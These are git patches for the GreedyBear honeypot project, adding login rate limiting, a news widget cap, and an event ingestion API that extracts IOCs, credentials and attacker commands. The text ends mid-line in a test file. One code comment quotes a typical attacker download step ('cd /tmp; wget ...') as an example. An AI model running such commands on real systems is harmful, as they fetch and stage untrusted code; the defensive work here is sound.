@@ "feeds": os.environ.get("FEEDS_THROTTLE_RATE", "30/minute"), "feeds_advanced": os.environ.get("FEEDS_ADVANCED_THROTTLE_RATE", "100/minute"), "feeds_shared": os.environ.get("FEEDS_SHARED_THROTTLE_RATE", "10/minute"), + "login": os.environ.get("LOGIN_THROTTLE_RATE", "10/minute"), }, # Disable DRF's format suffix negotiation via ?format= query param, # since feeds endpoints handle the format parameter internally. diff --git a/tests/authentication/test_auth.py b/tests/authentication/test_auth.py index 0367fee1d..4b849d956 100644 --- a/tests/authentication/test_auth.py +++ b/tests/authentication/test_auth.py @@ -1,3 +1,5 @@ +from unittest.mock import patch + from django.contrib.auth import get_user_model from django.core import mail from django.core.cache import cache @@ -5,6 +7,9 @@ from durin.models import AuthToken, Client from rest_email_auth.models import EmailConfirmation, PasswordResetToken from rest_framework.reverse import reverse +from rest_framework.test import APIClient + +from authentication.throttles import LoginIdentifierThrottle, LoginIPThrottle from . import CustomOAuthTestCase @@ -69,6 +74,32 @@ def test_login_does_not_set_current_site_cache(self): self.assertEqual(response.status_code, 200) self.assertIsNone(cache.get("current_site")) + def test_login_rate_limit_by_ip(self): + cache.clear() + body = {**self.creds} + + with patch.object(LoginIPThrottle, "THROTTLE_RATES", {"login": "1/minute"}): + response_1 = self.client.post(login_uri, body) + response_2 = self.client.post(login_uri, body) + cache.clear() + + self.assertEqual(response_1.status_code, 200, msg=response_1.cookies) + self.assertEqual(response_2.status_code, 429, msg=response_2.content) + + def test_login_rate_limit_by_identifier(self): + cache.clear() + client_1 = APIClient() + client_2 = APIClient(REMOTE_ADDR="203.0.113.10") + body = {**self.creds} + + with patch.object(LoginIdentifierThrottle, "THROTTLE_RATES", {"login": "1/minute"}): + response_1 = client_1.post(login_uri, body) + response_2 = client_2.post(login_uri, {"username": self.creds["username"].upper(), "password": body["password"]}) + cache.clear() + + self.assertEqual(response_1.status_code, 200, msg=response_1.cookies) + self.assertEqual(response_2.status_code, 429, msg=response_2.content) + def test_logout_204(self): self.assertEqual(AuthToken.objects.count(), 0) From e9af7d054dd142051d9498456d8481c164685dbb Mon Sep 17 00:00:00 2001 From: suvani-ctrl Date: Thu, 11 Jun 2026 16:43:20 +0545 Subject: [PATCH 032/131] Limit NewsWidget posts. Closes #1384 (#1389) --- frontend/src/components/home/NewsWidget.jsx | 4 +-- .../tests/components/home/NewsWidget.test.jsx | 34 ++++++++++++++++--- 2 files changed, 31 insertions(+), 7 deletions(-) diff --git a/frontend/src/components/home/NewsWidget.jsx b/frontend/src/components/home/NewsWidget.jsx index 4e8629eab..0756006b5 100644 --- a/frontend/src/components/home/NewsWidget.jsx +++ b/frontend/src/components/home/NewsWidget.jsx @@ -2,12 +2,12 @@ import React from "react"; import { ContentSection } from "@greedybear/gb-ui"; import { Spinner } from "reactstrap"; import { GREEDYBEAR_NEWS_URL } from "../../constants/api"; +export const MAX_NEWS_ITEMS = 3; export const NewsWidget = React.memo(() => { const [data, setData] = React.useState([]); const [loading, setLoading] = React.useState(true); const [error, setError] = React.useState(false); - const formatDate = (dateStr) => { if (!dateStr) return ""; @@ -37,7 +37,7 @@ export const NewsWidget = React.memo(() => { return response.json(); }) - .then(setData) + .then((newsData) => setData(newsData.slice(0, MAX_NEWS_ITEMS))) .catch((err) => { console.error("Error fetching news:", err); setError(true); diff --git a/frontend/tests/components/home/NewsWidget.test.jsx b/frontend/tests/components/home/NewsWidget.test.jsx index b8f350840..2565d5653 100644 --- a/frontend/tests/components/home/NewsWidget.test.jsx +++ b/frontend/tests/components/home/NewsWidget.test.jsx @@ -1,6 +1,9 @@ import React from "react"; import { render, screen, waitFor } from "@testing-library/react"; -import { NewsWidget } from "../../../src/components/home/NewsWidget"; +import { + MAX_NEWS_ITEMS, + NewsWidget, +} from "../../../src/components/home/NewsWidget"; import { GREEDYBEAR_NEWS_URL } from "../../../src/constants/api"; import "@testing-library/jest-dom"; @@ -196,7 +199,7 @@ describe("NewsWidget", () => { expect(await screen.findByText("1st Jan 2024")).toBeInTheDocument(); expect(screen.getByText("2nd Feb 2024")).toBeInTheDocument(); expect(screen.getByText("3rd Mar 2024")).toBeInTheDocument(); - expect(screen.getByText("21st Apr 2024")).toBeInTheDocument(); + expect(screen.queryByText("21st Apr 2024")).not.toBeInTheDocument(); }); it("should handle items without date", async () => { @@ -252,7 +255,7 @@ describe("NewsWidget", () => { }); it("should render multiple news items correctly", async () => { - const mockNewsData = Array.from({ length: 5 }, (_, i) => ({ + const mockNewsData = Array.from({ length: MAX_NEWS_ITEMS }, (_, i) => ({ date: `2024-01-${i + 1}`, title: `News Title ${i + 1}`, subtext: `Subtext ${i + 1}`, @@ -265,15 +268,36 @@ describe("NewsWidget", () => { expect(await screen.findByText("News Title 1")).toBeInTheDocument(); - mockNewsData.forEach((item) => { + mockNewsData.slice(0, MAX_NEWS_ITEMS).forEach((item) => { expect(screen.getByText(item.title)).toBeInTheDocument(); expect(screen.getByText(item.subtext)).toBeInTheDocument(); }); - expect(screen.getAllByText("Read more")).toHaveLength(5); + expect(screen.getAllByText("Read more")).toHaveLength(MAX_NEWS_ITEMS); }); }); + describe("Limits news item to max_news_item", () => { + it("should have the MAX_NEWS_ITEMS constraint and hide excess items", async () => { + const mockNewsData = Array.from({ length: 10 }, (_, i) => ({ + date: `2024-01-${10 + i}`, + title: `News item ${i + 1}`, + subtext: `Text ${i + 1}`, + link: `https://example.com${i + 1}`, + })); + + fetch.mockResolvedValueOnce({ + ok: true, + json: async () => mockNewsData, + }); + render(); + + await screen.findByText("News item 1"); + + const links = screen.getAllByText("Read more"); + expect(links).toHaveLength(MAX_NEWS_ITEMS); + }); + }); describe("Memoization", () => { it("should be wrapped with React.memo", () => { expect(NewsWidget.$$typeof).toBeDefined(); From 7689f1919208926d40ab4aee7b94e7657010f73c Mon Sep 17 00:00:00 2001 From: Drona Raj Gyawali Date: Thu, 11 Jun 2026 19:06:23 +0545 Subject: [PATCH 033/131] feat: event ingestion API with asynchronous IOC processing pipeline . Closes #1363 (#1397) * event api first version done Signed-off-by: Drona Raj Gyawali * added testcase for utils Signed-off-by: Drona Raj Gyawali * refactor code and api behaviour Signed-off-by: Drona Raj Gyawali * added automatic api source locked mechanism Signed-off-by: Drona Raj Gyawali * remove dead block and fix concurrency issue Signed-off-by: Drona Raj Gyawali * fixed typo Signed-off-by: Drona Raj Gyawali --------- Signed-off-by: Drona Raj Gyawali --- api/serializers.py | 38 ++ api/urls.py | 4 + api/views/__init__.py | 1 + api/views/event.py | 156 +++++++ api/views/utils.py | 123 +++++- greedybear/consts.py | 2 + greedybear/process_event.py | 265 ++++++++++++ greedybear/utils.py | 40 +- tests/__init__.py | 30 ++ tests/api/views/test_event.py | 418 +++++++++++++++++++ tests/greedybear/test_process_event.py | 547 +++++++++++++++++++++++++ tests/test_utils.py | 38 ++ 12 files changed, 1659 insertions(+), 3 deletions(-) create mode 100644 api/views/event.py create mode 100644 greedybear/process_event.py create mode 100644 tests/api/views/test_event.py create mode 100644 tests/greedybear/test_process_event.py diff --git a/api/serializers.py b/api/serializers.py index 56cdb4dd5..a4481c943 100644 --- a/api/serializers.py +++ b/api/serializers.py @@ -3,6 +3,7 @@ from functools import cache from django.core.exceptions import FieldDoesNotExist +from django.utils import timezone from rest_framework import serializers from greedybear.consts import REGEX_DOMAIN @@ -299,3 +300,40 @@ def validate_address(self, value): if not is_ip_address(value): raise serializers.ValidationError("Invalid IP address") return value + + +class EventSerializer(serializers.Serializer): + # required fields + src_ip = serializers.IPAddressField(required=True) + event_type = serializers.CharField(required=True, max_length=100) + timestamp = serializers.DateTimeField(required=True) + sensor_id = serializers.IntegerField(required=True, min_value=0) + + # optional string fields + session_id = serializers.CharField(default="", max_length=100, allow_blank=True) + token_id = serializers.CharField(default="", max_length=100, allow_blank=True) + protocol = serializers.CharField(default="", max_length=50, allow_blank=True) + service_name = serializers.CharField(default="", max_length=100, allow_blank=True) + username = serializers.CharField(default="", max_length=255, allow_blank=True) + password = serializers.CharField(default="", max_length=255, allow_blank=True) + cve_id = serializers.CharField(default="", max_length=50, allow_blank=True) + command = serializers.CharField(default="", allow_blank=True) + src_port = serializers.IntegerField(default=None, min_value=1, max_value=65535, allow_null=True) + dest_port = serializers.IntegerField(default=None, min_value=1, max_value=65535, allow_null=True) + related_url = serializers.URLField(default="", max_length=900, allow_blank=True) + payload_hash = serializers.CharField(default="", max_length=64, allow_blank=True) + data = serializers.JSONField(default=dict) + + def validate_timestamp(self, value): + if value > timezone.now(): + raise serializers.ValidationError("Timestamp cannot be in the future.") + return value + + +class InjectionSerializer(serializers.Serializer): + events = serializers.ListField( + child=EventSerializer(), + min_length=1, + max_length=10000, + error_messages={"min_length": "At least one event is required.", "max_length": "Batch size cannot exceed 10,000 events."}, + ) diff --git a/api/urls.py b/api/urls.py index 2bccb769d..87e2797b0 100644 --- a/api/urls.py +++ b/api/urls.py @@ -8,6 +8,8 @@ command_sequence_view, cowrie_session_view, enrichment_view, + event_status_view, + events_create_view, feeds, feeds_advanced, feeds_asn, @@ -43,6 +45,8 @@ path("news/", news_view), path("health/", health_view), path("sensor/", sensor_create_view), + path("events/add/", events_create_view), + path("events/status//", event_status_view), # router viewsets path("", include(router.urls)), # certego_saas: diff --git a/api/views/__init__.py b/api/views/__init__.py index 8a67b12ce..d3b154586 100644 --- a/api/views/__init__.py +++ b/api/views/__init__.py @@ -1,6 +1,7 @@ from api.views.command_sequence import * from api.views.cowrie_session import * from api.views.enrichment import * +from api.views.event import * from api.views.feeds import * from api.views.health import * from api.views.honeypots import * diff --git a/api/views/event.py b/api/views/event.py new file mode 100644 index 000000000..a9c031efc --- /dev/null +++ b/api/views/event.py @@ -0,0 +1,156 @@ +import logging + +from certego_saas.apps.auth.backend import CookieTokenAuthentication +from django_q.tasks import async_task +from rest_framework import status +from rest_framework.decorators import api_view, authentication_classes, permission_classes +from rest_framework.permissions import IsAuthenticated +from rest_framework.response import Response + +from api.serializers import InjectionSerializer +from api.views.utils import create_batch_and_events, increment_and_evaluate_lock +from greedybear.models import APISource, EventStatus, EventStatusType + +logger = logging.getLogger(__name__) + + +@api_view(["POST"]) +@authentication_classes([CookieTokenAuthentication]) +@permission_classes([IsAuthenticated]) +def events_create_view(request): + """ + Ingest a batch of raw security events, persist them, and hand off processing to a background task. + + This endpoint validates the payload structure, maps events to a tracking batch, saves + them bulk-style to the database to minimize I/O overhead, and offloads heavy parsing + (extracting IOCs, usernames, commands, etc.) asynchronously via Django-Q. + + **Authentication:** + - Required: CookieTokenAuthentication + - User must have an active and valid associated `APISource`. + + **Payload Requirements:** + - Content-Type: application/json + - Structure: {"events": [ {...event_1...}, {...event_2...} ]} + - Batch constraints: Min 1 event, Max 10,000 events per request. + + **Responses:** + - `202 Accepted`: Payload verified and successfully queued for background extraction. + - `400 Bad Request`: Validation failure or empty event set creation. + - `403 Forbidden`: Unauthenticated, missing `APISource`, or locked account state. + """ + try: + api_source = request.user.api_source + except APISource.DoesNotExist: + return Response( + {"error": "No APISource linked to your account"}, + status=status.HTTP_403_FORBIDDEN, + ) + + if not api_source.is_active: + return Response( + {"error": "APISource is locked"}, + status=status.HTTP_403_FORBIDDEN, + ) + + serializer = InjectionSerializer(data=request.data) + if not serializer.is_valid(): + if lock_response := increment_and_evaluate_lock(api_source): + return lock_response + return Response({"error": "Invalid data", "details": serializer.errors}, status=status.HTTP_400_BAD_REQUEST) + + events_data = serializer.validated_data["events"] + + try: + batch, total_created = create_batch_and_events( + events_data, + api_source, + ) + except ValueError as e: + if lock_response := increment_and_evaluate_lock(api_source): + return lock_response + return Response({"error": str(e)}, status=status.HTTP_400_BAD_REQUEST) + + except Exception: + logger.exception("Failed while creating batch & events") + return Response({"error": "An internal database error occurred while staging events"}, status=status.HTTP_500_INTERNAL_SERVER_ERROR) + + try: + # enqueue background task + async_task( + "greedybear.process_event.process_incoming_event", + api_source.id, + batch.task_id, + ) + except Exception as e: + logger.exception(f"Failed to enqueue background task for batch {batch.task_id}") + + # marking the batch as failed so it doesn't get orphaned in a 'PENDING' state + batch.status = EventStatusType.FAILED + batch.last_error = f"Background task dispatch failed: {e!s}" + batch.save(update_fields=["status", "last_error"]) + + return Response({"error": "An internal error occurred while queueing events for processing"}, status=status.HTTP_500_INTERNAL_SERVER_ERROR) + + logger.info(f"[task={batch.task_id}] Accepted {total_created} events — source={api_source.name}") + + return Response( + { + "message": f"{total_created} events accepted for processing", + "task_id": batch.task_id, + "status_url": f"/api/events/status/{batch.task_id}/", + }, + status=status.HTTP_202_ACCEPTED, + ) + + +@api_view(["GET"]) +@authentication_classes([CookieTokenAuthentication]) +@permission_classes([IsAuthenticated]) +def event_status_view(request, task_id: str): + """ + Retrieve the execution and processing status of a specific event batch using its task ID. + + This endpoint safely exposes the processing lifecycle phase (e.g., pending, processing, completed, failed) + of an asynchronous background extraction task triggered by Django-Q. + + **Authentication:** + - Required: CookieTokenAuthentication + - User must have an active, valid associated `APISource`. + + **Path Parameters:** + - `task_id` (str): The unique string identifier assigned to the background processing job. + + **Responses:** + - `200 OK`: Success payload detailing batch metrics, failure reasons (if any), and state. + - `403 Forbidden`: Unauthenticated, missing `APISource`, or locked account state. + - `404 Not Found`: No event batch matching the provided `task_id` exists for this account. + """ + try: + api_source = request.user.api_source + except APISource.DoesNotExist: + return Response({"error": "No APISource linked to your account"}, status=status.HTTP_403_FORBIDDEN) + + if not api_source.is_active: + return Response( + {"error": "APISource is locked"}, + status=status.HTTP_403_FORBIDDEN, + ) + + try: + batch = EventStatus.objects.get(task_id=task_id, api_source=api_source) + except EventStatus.DoesNotExist: + return Response({"error": f"No batch found for task_id={task_id}"}, status=status.HTTP_404_NOT_FOUND) + + return Response( + { + "task_id": batch.task_id, + "batch_id": batch.id, + "status": batch.status, + "ioc_count": batch.ioc_count, + "last_error": batch.last_error or None, + "processed_at": batch.processed_at, + "created_at": batch.created_at, + }, + status=status.HTTP_200_OK, + ) diff --git a/api/views/utils.py b/api/views/utils.py index 75f2fa805..9612c0845 100644 --- a/api/views/utils.py +++ b/api/views/utils.py @@ -4,6 +4,7 @@ import hashlib import logging import urllib.parse +import uuid from datetime import datetime, timedelta import feedparser @@ -20,9 +21,9 @@ from stix2 import Bundle, ExternalReference, Indicator from api.serializers import FeedsRequestSerializer, parse_feed_types -from greedybear.consts import CACHE_KEY_GREEDYBEAR_NEWS, CACHE_TIMEOUT_SECONDS, RSS_FEED_URL +from greedybear.consts import APISOURCE_LOCKED_THRESHOLD, CACHE_KEY_GREEDYBEAR_NEWS, CACHE_TIMEOUT_SECONDS, RSS_FEED_URL from greedybear.enums import IpReputation -from greedybear.models import IOC, AutonomousSystem, Honeypot, Sensor, SourceType, Statistics +from greedybear.models import IOC, APISource, AutonomousSystem, EventStatus, EventStatusType, Honeypot, RawEvent, Sensor, SourceType, Statistics from greedybear.utils import is_ip_address, is_valid_domain logger = logging.getLogger(__name__) @@ -686,3 +687,121 @@ def create_or_get_sensor(*, api_source, validated_data): ) return sensor, created + + +def _bulk_create_raw_events(events_data: list[dict], batch: EventStatus, api_source: APISource) -> int: + """ + Validates sensor ownership and bulk-inserts raw event payloads into the database. + + This internal utility performs an optimized prefetch lookup of all referenced sensors to + ensure they exist and belong to the calling `APISource`. It validates the incoming list + upfront to fail fast on foreign or missing sensor identifiers, securely strips the mapping + fields to prevent schema mismatch unpacking errors, and stages the data into memory. + + Args: + events_data (list[dict]): A collection of un-persisted, validated event data dictionaries. + batch (EventStatus): The tracking batch model instance these events belong to. + api_source (APISource): The origin provider authority submitting the events. + + Returns: + int: The aggregate count of total RawEvent rows successfully inserted into the database. + + Raises: + ValueError: If any entry contains a sensor_id that does not exist or is not owned + by the given api_source. + + """ + chunk_size = 1000 + + # Prefetch all sensors in one query + sensor_ids = {e["sensor_id"] for e in events_data if "sensor_id" in e} + sensors_by_id = {s.id: s for s in Sensor.objects.filter(id__in=sensor_ids, api_source=api_source)} + + raw_events = [] + + for e in events_data: + sensor_id = e.get("sensor_id") + if sensor_id not in sensors_by_id: + raise ValueError(f"Invalid or missing sensor_id '{sensor_id}' for api_source {api_source.id}. ") + + for event in events_data: + sensor_id = event.get("sensor_id") + sensor = sensors_by_id.get(sensor_id) + + # creating a shallow copy (protects the original data from side effects) + event_fields = event.copy() + + # safely remove 'sensor_id' so it doesn't break ** unpacking + if "sensor_id" in event_fields: + del event_fields["sensor_id"] + + raw_events.append(RawEvent(sensor=sensor, batch=batch, **event_fields)) + + total = 0 + for i in range(0, len(raw_events), chunk_size): + chunk = raw_events[i : i + chunk_size] + RawEvent.objects.bulk_create(chunk) + total += len(chunk) + return total + + +def create_batch_and_events(events_data: list[dict], api_source: APISource) -> tuple[EventStatus, int]: + """ + Initializes a tracking batch and executes an atomic bulk-creation of RawEvents. + + Args: + events_data (list[dict]): A list of validated event data dictionaries to populate. + api_source (APISource): The authenticated origin provider entity submitting the batch. + + Returns: + tuple[EventStatus, int]: A tuple containing the created EventStatus tracking model + instance and the integer count of successfully stored events. + + Raises: + Exception: Re-raises any underlying database error encountered during the bulk creation + process after writing the crash state metadata. + """ + tracking_id = uuid.uuid4().hex + + batch = EventStatus.objects.create( + api_source=api_source, + task_id=tracking_id, + status=EventStatusType.PENDING, + ) + try: + with transaction.atomic(): + total_created = _bulk_create_raw_events( + events_data, + batch, + api_source, + ) + except Exception as e: + logger.exception(f"Database error during bulk-insert for batch {batch.task_id}") + + # updating the batch status here because it's outside the failed atomic block, + batch.status = EventStatusType.FAILED + batch.last_error = str(e) + batch.save(update_fields=["status", "last_error"]) + raise + + return batch, total_created + + +def increment_and_evaluate_lock(api_source: APISource) -> Response | None: + """ + Increments the failed batch attempts for an APISource and checks if the safety + threshold has been reached. If exceeded, it automatically locks the source. + + Returns a 403 Response if locked, otherwise returns None. + """ + api_source.invalid_event_count = F("invalid_event_count") + 1 + api_source.save(update_fields=["invalid_event_count"]) + + api_source.refresh_from_db() + + if api_source.invalid_event_count >= APISOURCE_LOCKED_THRESHOLD: + api_source.is_active = False + api_source.save(update_fields=["is_active"]) + return Response({"error": "Your APISource has been automatically locked due to excessive invalid batch submissions."}, status=status.HTTP_403_FORBIDDEN) + + return None diff --git a/greedybear/consts.py b/greedybear/consts.py index a120418cb..49a43e92c 100644 --- a/greedybear/consts.py +++ b/greedybear/consts.py @@ -65,3 +65,5 @@ # tracking application start time START_TIME = time.time() + +APISOURCE_LOCKED_THRESHOLD = 10 diff --git a/greedybear/process_event.py b/greedybear/process_event.py new file mode 100644 index 000000000..ac31e509d --- /dev/null +++ b/greedybear/process_event.py @@ -0,0 +1,265 @@ +import hashlib +import logging +from collections import defaultdict + +from django.db import transaction +from django.utils import timezone + +from greedybear.cronjobs.extraction.ioc_processor import IocProcessor +from greedybear.cronjobs.extraction.utils import iocs_from_hits +from greedybear.cronjobs.repositories import IocRepository, SensorRepository +from greedybear.cronjobs.scoring.scoring_jobs import UpdateScores +from greedybear.models import IOC, CommandSequence, Credential, EventStatus, EventStatusType, RawEvent +from greedybear.utils import get_attack_type, is_valid_url + +logger = logging.getLogger(__name__) + + +def _normalize_raw_event_to_hit(raw: RawEvent) -> dict: + """ + Convert a RawEvent into the hit-dict format expected by iocs_from_hits. + """ + hit: dict = { + "src_ip": raw.src_ip, + # loaded via a selected_realted + "_sensor": raw.sensor, + } + + if raw.timestamp: + hit["@timestamp"] = raw.timestamp.isoformat() + if raw.dest_port: + hit["dest_port"] = raw.dest_port + if raw.username: + hit["username"] = raw.username + if raw.password: + hit["password"] = raw.password + + if raw.username and raw.password: + hit["_credential"] = { + "username": raw.username, + "password": raw.password, + "protocol": raw.protocol, + } + + if raw.related_url and is_valid_url(raw.related_url): + hit["_related_url"] = raw.related_url + if raw.command: + hit["_command"] = raw.command + + return hit + + +def _process_credentials(saved_ioc: IOC, ip_hits: list[dict]) -> None: + """ + Linking all credentials data to ioc + """ + for hit in ip_hits: + cred = hit.get("_credential") + if not cred: + continue + + # Credential has a unique constraint on (username, password, protocol). + # get_or_create is atomic and race-condition safe , no duplicate rows + # even if two batches submit the same credential simultaneously. + credential, _ = Credential.objects.get_or_create( + username=cred["username"], + password=cred["password"], + protocol=cred["protocol"], + ) + + # Credential.sources is M2M to IOC. One credential can appear across + # many attacker IPs; one IOC can have many credentials. add() is + # idempotent,calling it twice doesn't create duplicate M2M rows. + credential.sources.add(saved_ioc) + logger.debug(f"linked credential '{credential}' → IOC {saved_ioc.name}") + + +def _process_related_urls(saved_ioc: IOC, ip_hits: list[dict]) -> None: + """ + Extracts, filters, and appends unique related URLs from raw hits to an IOC instance. + + Validates that URLs have non-empty paths, deduplicates against existing records + to maintain idempotency, and persists changes back to the database. + """ + new_urls = {hit["_related_url"] for hit in ip_hits if hit.get("_related_url") and is_valid_url(hit["_related_url"])} + if not new_urls: + return + # IOC.related_urls is a db ArrayField. We deduplicate against + # existing values so re-processing the same batch is safe/idempotent. + # using sets makes this O(n) instead of O(n²). + existing = set(saved_ioc.related_urls or []) + to_add = new_urls - existing + if to_add: + saved_ioc.related_urls = sorted(existing | to_add) + saved_ioc.save(update_fields=["related_urls"]) + logger.debug(f"added {len(to_add)} related_url(s) → IOC {saved_ioc.name}") + + +def _process_commands(ip_hits: list[dict]) -> None: + """ + Deduplicates and registers order-preserving sequences of executed commands from raw hits. + + Generates a unique SHA-256 hash representing the complete sequence to handle + idempotent generation of CommandSequence records. + """ + # commands have semantic meaning in order ("cd /tmp; wget ..."). + # A set would lose that. We deduplicate repeated identical lines + # while keeping the first occurrence in sequence. + seen: set[str] = set() + unique_commands: list[str] = [] + for hit in ip_hits: + cmd = hit.get("_command") + if cmd and cmd.strip() and cmd not in seen: + seen.add(cmd) + unique_commands.append(cmd.strip()) + + if not unique_commands: + return + + # CommandSequence.commands_hash is a unique constraint. The hash + # is the deduplication key, same commands = same hash = same row. + commands_hash = hashlib.sha256("|".join(unique_commands).encode()).hexdigest() + _, created = CommandSequence.objects.get_or_create( + commands_hash=commands_hash, + defaults={ + "commands": unique_commands, + "first_seen": timezone.now(), + "last_seen": timezone.now(), + }, + ) + # the link goes through CowrieSession, which needs a valid hex + # session_id. RawEvent.session_id is free text (may be empty or + # non-hex). our discussion https://github.com/GreedyBear-Project/GreedyBear/discussions/1348 + # marked session_id → None for now. The ClusterCommandSequences cronjob picks up all sequences in DB + # automatically, no action needed from us. + if created: + logger.debug(f"created CommandSequence hash={commands_hash[:12]}…") + + +def process_incoming_event(source_id: int, task_id: str) -> None: + """ + Asynchronously processes a tracked batch of RawEvents into refined IOCs. + + To minimize message broker serialization overhead and avoid queue bloating, + this background worker accepts only lookup identifiers (source_id and task_id) + and fetches fresh records directly from the database. + + Args: + source_id (int): The primary key ID of the associated APISource. + task_id (str): The unique hex tracking UUID string of the target EventStatus batch. + + Raises: + Exceptions are caught internally; failure tracebacks are safely written to + EventStatus.last_error to preserve background state tracking. + """ + try: + batch = EventStatus.objects.get(task_id=task_id) + except EventStatus.DoesNotExist: + logger.exception(f"[batch={task_id}] EventStatus not found — aborting") + return + + if batch.status in [EventStatusType.PROCESSING, EventStatusType.COMPLETED]: + logger.warning(f"[task={task_id}] Batch already {batch.status} — skipping to avoid race condition") + return + + batch.status = EventStatusType.PROCESSING + batch.ioc_count = 0 + batch.last_error = "" + batch.save(update_fields=["status", "ioc_count", "last_error"]) + logger.info(f"[batch={task_id}] Started (source_id={source_id})") + + processed_iocs = [] + + try: + # fetching RawEvents + raw_events = list(RawEvent.objects.filter(batch=batch, processed=False).select_related("sensor")) + + if not raw_events: + logger.warning(f"[task_id={task_id}] No unprocessed RawEvents — completing") + batch.status = EventStatusType.COMPLETED + batch.processed_at = timezone.now() + batch.save(update_fields=["status", "ioc_count", "processed_at"]) + return + + logger.debug(f"[task={task_id}] {len(raw_events)} RawEvents fetched") + + # normaizing hit dicts + hits = [_normalize_raw_event_to_hit(raw) for raw in raw_events] + + if not hits: + error_msg = f"All {len(raw_events)} RawEvents invalid after normalization" + logger.error(f"[task={task_id}] {error_msg}") + batch.status = EventStatusType.FAILED + batch.last_error = error_msg + return + + logger.debug(f"[task={task_id}] {len(hits)} valid hits") + + ioc_objects = iocs_from_hits(hits) + + if not ioc_objects: + error_msg = "iocs_from_hits returned 0 IOCs, all source IPs may be non-global or filtered" + logger.error(f"[task={task_id}] {error_msg}") + batch.status = EventStatusType.FAILED + batch.last_error = error_msg + return + + logger.debug(f"[task_id={task_id}] {len(ioc_objects)} unique IOCs") + + # grouping hits by src_ip for post-processing lookup + hits_by_ip: dict[str, list[dict]] = defaultdict(list) + for hit in hits: + hits_by_ip[hit["src_ip"]].append(hit) + + # post processing + ioc_repo = IocRepository() + sensor_repo = SensorRepository() + processor = IocProcessor(ioc_repo, sensor_repo) + + with transaction.atomic(): + filtered = 0 + for ioc in ioc_objects: + ip_hits = hits_by_ip.get(ioc.name, []) + attack_type = get_attack_type(ip_hits) + saved_ioc = processor.add_ioc( + ioc, + attack_type, + # external sensors don't use Honeypot model + honeypot_name=None, + ) + + if saved_ioc is None: + logger.debug(f"[task={task_id}] {ioc.name} filtered by processor") + filtered += 1 + continue + + _process_credentials(saved_ioc, ip_hits) + _process_related_urls(saved_ioc, ip_hits) + _process_commands(ip_hits) + + processed_iocs.append(saved_ioc) + + if filtered: + logger.debug(f"[task={task_id}] {filtered} IOC(s) filtered out") + + logger.debug(f"[task={task_id}] {len(processed_iocs)} IOC persisted") + + # score + if processed_iocs: + UpdateScores().score_only(processed_iocs) + logger.info(f"[task={task_id}] Scoring complete") + + RawEvent.objects.filter(batch=batch, processed=False).update(processed=True) + + batch.status = EventStatusType.COMPLETED + batch.ioc_count = len(processed_iocs) + + except Exception as exc: + logger.exception(f"[task={task_id}] Failed") + batch.status = EventStatusType.FAILED + batch.last_error = str(exc)[:1000] + + finally: + batch.processed_at = timezone.now() + batch.save(update_fields=["status", "ioc_count", "last_error", "processed_at"]) + logger.info(f"[task={task_id}] Done — status={batch.status}, iocs={batch.ioc_count}") diff --git a/greedybear/utils.py b/greedybear/utils.py index b87056ae5..1d0ee9e14 100644 --- a/greedybear/utils.py +++ b/greedybear/utils.py @@ -3,8 +3,9 @@ import re from datetime import datetime from ipaddress import IPv4Address, IPv4Network, ip_address +from urllib.parse import urlparse -from greedybear.consts import DOMAIN, IP +from greedybear.consts import DOMAIN, IP, PAYLOAD_REQUEST, SCANNER def is_ip_address(string: str) -> bool: @@ -136,3 +137,40 @@ def get_ioc_type(ioc: str) -> str: """ is_valid, _ = is_valid_ipv4(ioc) return IP if is_valid else DOMAIN + + +def get_attack_type(ip_hits: list[dict]) -> str: + """ + Determines the attack type based on the raw hits for a specific IP. + + An IOC that has triggered at least one hit containing a valid + payload download URL is classified as a PAYLOAD_REQUEST attacker. + Everything else is classified as a SCANNER. + """ + for hit in ip_hits: + url = hit.get("_related_url") + # Ensure the hit has a URL and that it passes our path validation rules + if url and is_valid_url(url): + return PAYLOAD_REQUEST + + return SCANNER + + +def is_valid_url(url: str | None) -> bool: + allowed_schemes = {"http", "https"} + try: + parsed = urlparse(url) + + if parsed.scheme not in allowed_schemes: + return False + + if not parsed.netloc: + return False + + if parsed.netloc.strip() == "": + return False + + return bool(parsed.path and parsed.path.strip("/") != "") + + except Exception: + return False diff --git a/tests/__init__.py b/tests/__init__.py index 8010ca79f..af5808242 100644 --- a/tests/__init__.py +++ b/tests/__init__.py @@ -9,12 +9,15 @@ from greedybear.enums import IpReputation from greedybear.models import ( IOC, + APISource, AutonomousSystem, CommandSequence, CowrieSession, Credential, Honeypot, IocType, + Sensor, + SourceType, ) @@ -332,3 +335,30 @@ def _create_pipeline_with_real_factory(self): from greedybear.cronjobs.extraction.pipeline import ExtractionPipeline return ExtractionPipeline() + + +# shared helper fx +def make_user(username="testuser", password="pass1234!"): + return User.objects.create_user(username=username, password=password) + + +def make_api_source(user, name="TestSource"): + return APISource.objects.create(user=user, name=name) + + +def make_sensor(api_source, address="192.168.1.100", label="sensor-a", **kwargs): + """ + Helper to create a Sensor for testing. + """ + defaults = { + "label": label, + "source_type": SourceType.EXTERNAL, + } + defaults.update(kwargs) + + sensor, _ = Sensor.objects.get_or_create( + address=address, + api_source=api_source, + defaults=defaults, + ) + return sensor diff --git a/tests/api/views/test_event.py b/tests/api/views/test_event.py new file mode 100644 index 000000000..0ac4ce3e0 --- /dev/null +++ b/tests/api/views/test_event.py @@ -0,0 +1,418 @@ +from unittest.mock import patch + +from django.contrib.auth import get_user_model +from django.utils import timezone +from rest_framework import status +from rest_framework.test import APIClient + +from greedybear.models import EventStatus, EventStatusType, RawEvent +from tests import CustomTestCase, make_api_source, make_sensor, make_user + +User = get_user_model() + +EVENTS_URL = "/api/events/add/" +STATUS_URL = "/api/events/status/{task_id}/" + + +def auth_client(user): + client = APIClient() + client.force_authenticate(user=user) + return client + + +def valid_event(sensor_id, **overrides): + base = { + "src_ip": "1.2.3.4", + "event_type": "login_attempt", + "timestamp": (timezone.now() - timezone.timedelta(seconds=10)).isoformat(), + "sensor_id": sensor_id, + } + base.update(overrides) + return base + + +class BaseEventTestCase(CustomTestCase): + def setUp(self): + self.user = make_user() + self.api_source = make_api_source(self.user) + self.sensor = make_sensor(api_source=self.api_source) + self.client = auth_client(self.user) + + +class TestEventsCreateAuth(BaseEventTestCase): + def test_unauthenticated_returns_401(self): + anon = APIClient() + res = anon.post(EVENTS_URL, {"events": []}, format="json") + self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED) + + def test_no_api_source_returns_403(self): + user2 = make_user(username="noapi") + client2 = auth_client(user2) + payload = {"events": [valid_event(self.sensor.id)]} + res = client2.post(EVENTS_URL, payload, format="json") + self.assertEqual(res.status_code, status.HTTP_403_FORBIDDEN) + self.assertIn("APISource", 